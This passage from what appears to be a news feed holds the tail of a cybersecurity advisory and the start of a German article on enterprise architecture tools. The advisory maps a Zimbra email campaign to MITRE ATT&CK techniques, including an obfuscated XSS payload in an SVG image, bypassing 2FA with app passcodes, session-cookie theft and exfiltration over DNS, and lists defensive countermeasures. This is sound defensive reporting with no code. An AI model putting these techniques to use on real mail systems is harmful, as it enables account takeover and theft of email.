<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
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Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
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<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
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<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



